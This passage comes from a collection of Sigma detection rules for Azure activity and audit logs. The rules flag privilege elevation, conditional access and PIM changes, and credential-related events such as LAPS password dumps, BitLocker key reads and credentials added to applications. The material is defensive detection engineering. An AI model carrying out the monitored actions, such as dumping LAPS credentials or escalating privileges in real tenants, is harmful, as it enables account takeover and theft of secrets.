"content": "title: Azure Service Principal Removed\nid: 448fd1ea-2116-4c62-9cde-a92d120e0f08\nstatus: test\ndescription: Identifies when a service principal was removed in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy\nauthor: Austin Songer @austinsonger\ndate: 2021-09-03\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message: Remove service principal\n condition: selection\nfalsepositives:\n - Service principal being removed may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml",
"content": "title: Azure Subscription Permission Elevation Via ActivityLogs\nid: 09438caa-07b1-4870-8405-1dbafe3dad95\nstatus: test\ndescription: |\n Detects when a user has been elevated to manage all Azure Subscriptions.\n This change should be investigated immediately if it isn't planned.\n This setting could allow an attacker access to Azure subscriptions in your environment.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization\nauthor: Austin Songer @austinsonger\ndate: 2021-11-26\nmodified: 2022-08-23\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName: MICROSOFT.AUTHORIZATION/ELEVATEACCESS/ACTION\n condition: selection\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_suppression_rule_created.yml",
"content": "title: Azure Suppression Rule Created\nid: 92cc3e5d-eb57-419d-8c16-5c63f325a401\nstatus: test\ndescription: Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName: MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE\n condition: selection\nfalsepositives:\n - Suppression Rule being created may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_virtual_network_modified_or_deleted.yml",
"content": "title: Azure Virtual Network Modified or Deleted\nid: bcfcc962-0e4a-4fd9-84bb-a833e672df3f\nstatus: test\ndescription: Identifies when a Virtual Network is modified or deleted in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName|startswith:\n - MICROSOFT.NETWORK/VIRTUALNETWORKGATEWAYS/\n - MICROSOFT.NETWORK/VIRTUALNETWORKS/\n operationName|endswith:\n - /WRITE\n - /DELETE\n condition: selection\nfalsepositives:\n - Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_vpn_connection_modified_or_deleted.yml",
"content": "title: Azure VPN Connection Modified or Deleted\nid: 61171ffc-d79c-4ae5-8e10-9323dba19cd3\nstatus: test\ndescription: Identifies when a VPN connection is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/VPNGATEWAYS/VPNCONNECTIONS/WRITE\n - MICROSOFT.NETWORK/VPNGATEWAYS/VPNCONNECTIONS/DELETE\n condition: selection\nfalsepositives:\n - VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_removedby_bad_actor.yml",
"content": "title: CA Policy Removed by Non Approved Actor\nid: 26e7c5e2-6545-481e-b7e6-050143459635\nstatus: test\ndescription: Monitor and alert on conditional access changes where non approved actor removed CA Policy.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access\nauthor: Corissa Koopmans, '@corissalea'\ndate: 2022-07-19\ntags:\n - attack.privilege-escalation\n - attack.credential-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Delete conditional access policy\n condition: selection\nfalsepositives:\n - Misconfigured role permissions\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_updatedby_bad_actor.yml",
"content": "title: CA Policy Updated by Non Approved Actor\nid: 50a3c7aa-ec29-44a4-92c1-fce229eef6fc\nstatus: test\ndescription: Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access\nauthor: Corissa Koopmans, '@corissalea'\ndate: 2022-07-19\nmodified: 2024-05-28\ntags:\n - attack.privilege-escalation\n - attack.credential-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Update conditional access policy\n condition: selection\nfalsepositives:\n - Misconfigured role permissions\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml",
"content": "title: New CA Policy by Non-approved Actor\nid: 0922467f-db53-4348-b7bf-dee8d0d348c6\nstatus: test\ndescription: Monitor and alert on conditional access changes.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure\nauthor: Corissa Koopmans, '@corissalea'\ndate: 2022-07-18\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1548\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add conditional access policy\n condition: selection\nfalsepositives:\n - Misconfigured role permissions\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_account_created_deleted.yml",
"content": "title: Account Created And Deleted Within A Close Time Frame\nid: 6f583da0-3a90-4566-a4ed-83c09fe18bbf\nstatus: test\ndescription: Detects when an account was created and deleted in a short period of time.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#short-lived-accounts\nauthor: Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton\ndate: 2022-08-11\nmodified: 2022-08-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Add user\n - Delete user\n Status: Success\n condition: selection\nfalsepositives:\n - Legit administrative action\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_bitlocker_key_retrieval.yml",
"content": "title: Bitlocker Key Retrieval\nid: a0413867-daf3-43dd-9245-734b3a787942\nstatus: test\ndescription: Monitor and alert for Bitlocker key retrieval.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#bitlocker-key-retrieval\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: KeyManagement\n OperationName: Read BitLocker key\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_certificate_based_authencation_enabled.yml",
"content": "title: Certificate-Based Authentication Enabled\nid: c2496b41-16a9-4016-a776-b23f8910dc58\nstatus: test\ndescription: Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.\nreferences:\n - https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f\n - https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/\nauthor: Harjot Shah Singh, '@cyb3rjy0t'\ndate: 2024-03-26\ntags:\n - attack.defense-evasion\n - attack.credential-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n OperationName: 'Authentication Methods Policy Update'\n TargetResources.modifiedProperties|contains: 'AuthenticationMethodsPolicy'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml",
"content": "title: Changes to Device Registration Policy\nid: 9494bff8-959f-4440-bbce-fb87a208d517\nstatus: test\ndescription: Monitor and alert for changes to the device registration policy.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\ntags:\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1484\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: 'Policy'\n ActivityDisplayName: 'Set device registration policies'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml",
"content": "title: Guest Users Invited To Tenant By Non Approved Inviters\nid: 4ad97bf5-a514-41a4-abd3-4f3455ad4865\nstatus: test\ndescription: Detects guest users being invited to tenant by non-approved inviters\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-07-28\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: 'UserManagement'\n OperationName: 'Invite external user'\n filter:\n InitiatedBy|contains: ''\n condition: selection and not filter\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_new_root_ca_added.yml",
"content": "title: New Root Certificate Authority Added\nid: 4bb80281-3756-4ec8-a88e-523c5a6fda9e\nstatus: test\ndescription: Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.\nreferences:\n - https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f\n - https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/\nauthor: Harjot Shah Singh, '@cyb3rjy0t'\ndate: 2024-03-26\ntags:\n - attack.defense-evasion\n - attack.credential-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n OperationName: 'Set Company Information'\n TargetResources.modifiedProperties.newValue|contains: 'TrustedCAsForPasswordlessAuth'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_ad_users_added_to_device_admin_roles.yml",
"content": "title: Users Added to Global or Device Admin Roles\nid: 11c767ae-500b-423b-bae3-b234450736ed\nstatus: test\ndescription: Monitor and alert for users added to device admin roles.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-administrator-roles\nauthor: Michael Epping, '@mepples21'\ndate: 2022-06-28\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: RoleManagement\n OperationName|contains|all:\n - 'Add'\n - 'member to role'\n TargetResources|contains:\n - '7698a772-787b-4ac8-901f-60d6b08affd2'\n - '62e90394-69f5-4237-9190-012177145e10'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_appid_uri_changes.yml",
"content": "title: Application AppID Uri Configuration Changes\nid: 1b45b0d1-773f-4f23-aedc-814b759563b1\nstatus: test\ndescription: Detects when a configuration change is made to an applications AppID URI.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#appid-uri-added-modified-or-removed\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-06-02\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.credential-access\n - attack.privilege-escalation\n - attack.t1552\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Update Application\n - Update Service principal\n condition: selection\nfalsepositives:\n - When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_credential_added.yml",
"content": "title: Added Credentials to Existing Application\nid: cbb67ecc-fb70-4467-9350-c910bdf7c628\nstatus: test\ndescription: Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-credentials\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-05-26\nmodified: 2025-07-18\ntags:\n - attack.privilege-escalation\n - attack.t1098.001\n - attack.persistence\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Update application – Certificates and secrets management\n - Update Service principal/Update Application\n condition: selection\nfalsepositives:\n - When credentials are added/removed as part of the normal working hours/workflows\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml",
"content": "title: Delegated Permissions Granted For All Users\nid: a6355fbe-f36f-45d8-8efc-ab42465cbc52\nstatus: test\ndescription: Detects when highly privileged delegated permissions are granted on behalf of all users\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-28\ntags:\n - attack.credential-access\n - attack.t1528\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add delegated permission grant\n condition: selection\nfalsepositives:\n - When the permission is legitimately needed for the app\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_end_user_consent.yml",
"content": "title: End User Consent\nid: 9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a\nstatus: test\ndescription: Detects when an end user consents to an application\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-consent\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-28\ntags:\n - attack.credential-access\n - attack.t1528\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n ConsentContext.IsAdminConsent: 'false'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_end_user_consent_blocked.yml",
"content": "title: End User Consent Blocked\nid: 7091372f-623c-4293-bc37-20c32b3492be\nstatus: test\ndescription: Detects when end user consent is blocked due to risk-based consent.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#end-user-stopped-due-to-risk-based-consent\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-10\ntags:\n - attack.credential-access\n - attack.t1528\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n failure_status_reason: 'Microsoft.online.Security.userConsentBlockedForRiskyAppsExceptions'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_owner_added.yml",
"content": "title: Added Owner To Application\nid: 74298991-9fc4-460e-a92e-511aa60baec1\nstatus: test\ndescription: Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#new-owner\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-06-02\ntags:\n - attack.t1552\n - attack.credential-access\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add owner to application\n condition: selection\nfalsepositives:\n - When a new application owner is added by an administrator\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_permissions_msft.yml",
"content": "title: App Granted Microsoft Permissions\nid: c1d147ae-a951-48e5-8b41-dcd0170c7213\nstatus: test\ndescription: Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-10\ntags:\n - attack.credential-access\n - attack.t1528\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Add delegated permission grant\n - Add app role assignment to service principal\n condition: selection\nfalsepositives:\n - When the permission is legitimately needed for the app\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_privileged_permissions.yml",
"content": "title: App Granted Privileged Delegated Or App Permissions\nid: 5aecf3d5-f8a0-48e7-99be-3a759df7358f\nrelated:\n - id: ba2a7c80-027b-460f-92e2-57d113897dbc\n type: obsolete\nstatus: test\ndescription: Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-granted-highly-privileged-permissions\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-28\nmodified: 2023-03-29\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098.003\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add app role assignment to service principal\n condition: selection\nfalsepositives:\n - When the permission is legitimately needed for the app\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_role_added.yml",
"content": "title: App Assigned To Azure RBAC/Microsoft Entra Role\nid: b04934b2-0a68-4845-8a19-bdfed3a68a7a\nstatus: test\ndescription: Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#service-principal-assigned-to-a-role\nauthor: Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'\ndate: 2022-07-19\nmodified: 2024-11-04\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098.003\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n targetResources.type: 'Service Principal'\n properties.message:\n - Add member to role\n - Add eligible member to role\n - Add scoped member to role\n condition: selection\nfalsepositives:\n - When the permission is legitimately needed for the app\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_app_uri_modifications.yml",
"content": "title: Application URI Configuration Changes\nid: 0055ad1f-be85-4798-83cf-a6da17c993b3\nstatus: test\ndescription: |\n Detects when a configuration change is made to an applications URI.\n URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#application-configuration-changes\nauthor: Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'\ndate: 2022-06-02\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1528\n - attack.t1078.004\n - attack.persistence\n - attack.credential-access\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Update Application Sucess- Property Name AppAddress\n condition: selection\nfalsepositives:\n - When and administrator is making legitimate URI configuration changes to an application. This should be a planned event.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_auditlogs_laps_credential_dumping.yml",
"content": "title: Windows LAPS Credential Dump From Entra ID\nid: a4b25073-8947-489c-a8dd-93b41c23f26d\nstatus: test\ndescription: Detects when an account dumps the LAPS password from Entra ID.\nreferences:\n - https://twitter.com/NathanMcNulty/status/1785051227568632263\n - https://www.cloudcoffee.ch/microsoft-365/configure-windows-laps-in-microsoft-intune/\n - https://techcommunity.microsoft.com/t5/microsoft-entra-blog/introducing-windows-local-administrator-password-solution-with/ba-p/1942487\nauthor: andrewdanis\ndate: 2024-06-26\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098.005\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n category: 'Device'\n activityType|contains: 'Recover device local administrator password'\n additionalDetails.additionalInfo|contains: 'Successfully recovered local credential by device id'\n condition: selection\nfalsepositives:\n - Approved activity performed by an Administrator.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_change_to_authentication_method.yml",
"content": "title: Change to Authentication Method\nid: 4d78a000-ab52-4564-88a5-7ab5242b20c7\nstatus: test\ndescription: Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: AlertIQ\ndate: 2021-10-10\nmodified: 2022-12-25\ntags:\n - attack.privilege-escalation\n - attack.credential-access\n - attack.t1556\n - attack.persistence\n - attack.defense-evasion\n - attack.t1098\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n LoggedByService: 'Authentication Methods'\n Category: 'UserManagement'\n OperationName: 'User registered security info'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_federation_modified.yml",
"content": "title: Azure Domain Federation Settings Modified\nid: 352a54e1-74ba-4929-9d47-8193d67aba1e\nstatus: test\ndescription: Identifies when an user or application modified the federation settings on the domain.\nreferences:\n - https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes\nauthor: Austin Songer\ndate: 2021-09-06\nmodified: 2022-06-08\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n ActivityDisplayName: Set federation settings on domain\n condition: selection\nfalsepositives:\n - Federation Settings being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\n\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_group_user_addition_ca_modification.yml",
"content": "title: User Added To Group With CA Policy Modification Access\nid: 91c95675-1f27-46d0-bead-d1ae96b97cd3\nstatus: test\ndescription: Monitor and alert on group membership additions of groups that have CA policy modification access\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access\nauthor: Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'\ndate: 2022-08-04\ntags:\n - attack.privilege-escalation\n - attack.credential-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Add member from group\n condition: selection\nfalsepositives:\n - User removed from the group is approved\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml",
"content": "title: User Removed From Group With CA Policy Modification Access\nid: 665e2d43-70dc-4ccc-9d27-026c9dd7ed9c\nstatus: test\ndescription: Monitor and alert on group membership removal of groups that have CA policy modification access\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-infrastructure#conditional-access\nauthor: Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'\ndate: 2022-08-04\ntags:\n - attack.privilege-escalation\n - attack.credential-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1548\n - attack.t1556\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Remove member from group\n condition: selection\nfalsepositives:\n - User removed from the group is approved\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_guest_invite_failure.yml",
"content": "title: Guest User Invited By Non Approved Inviters\nid: 0b4b72e3-4c53-4d5b-b198-2c58cfef39a9\nstatus: test\ndescription: Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#things-to-monitor\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-10\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.persistence\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Invite external user\n Status: failure\n condition: selection\nfalsepositives:\n - A non malicious user is unaware of the proper process\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_guest_to_member.yml",
"content": "title: User State Changed From Guest To Member\nid: 8dee7a0d-43fd-4b3c-8cd1-605e189d195e\nstatus: test\ndescription: Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.\nreferences:\n - https://learn.microsoft.com/en-gb/entra/architecture/security-operations-user-accounts#monitoring-external-user-sign-ins\nauthor: MikeDuddington, '@dudders1'\ndate: 2022-06-30\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: 'UserManagement'\n OperationName: 'Update user'\n properties.message: '\"displayName\":\"UserType\",\"oldValue\":\"[\\\"Guest\\\"]\",\"newValue\":\"[\\\"Member\\\"]\"'\n condition: selection\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml",
"content": "title: PIM Approvals And Deny Elevation\nid: 039a7469-0296-4450-84c0-f6966b16dc6d\nstatus: test\ndescription: Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-09\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Request Approved/Denied\n condition: selection\nfalsepositives:\n - Actual admin using PIM.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_pim_alerts_disabled.yml",
"content": "title: PIM Alert Setting Changes To Disabled\nid: aeaef14c-e5bf-4690-a9c8-835caad458bd\nstatus: test\ndescription: Detects when PIM alerts are set to disabled.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-09\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1078\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Disable PIM Alert\n condition: selection\nfalsepositives:\n - Administrator disabling PIM alerts as an active choice.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_pim_change_settings.yml",
"content": "title: Changes To PIM Settings\nid: db6c06c4-bf3b-421c-aa88-15672b88c743\nstatus: test\ndescription: Detects when changes are made to PIM roles\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-09\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Update role setting in PIM\n condition: selection\nfalsepositives:\n - Legit administrative PIM setting configuration changes\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_priviledged_role_assignment_add.yml",
"content": "title: User Added To Privilege Role\nid: 49a268a4-72f4-4e38-8a7b-885be690c5b5\nstatus: test\ndescription: Detects when a user is added to a privileged role.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-06\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Add eligible member (permanent)\n - Add eligible member (eligible)\n condition: selection\nfalsepositives:\n - Legtimate administrator actions of adding members from a role\nlevel: high\n"
},
{
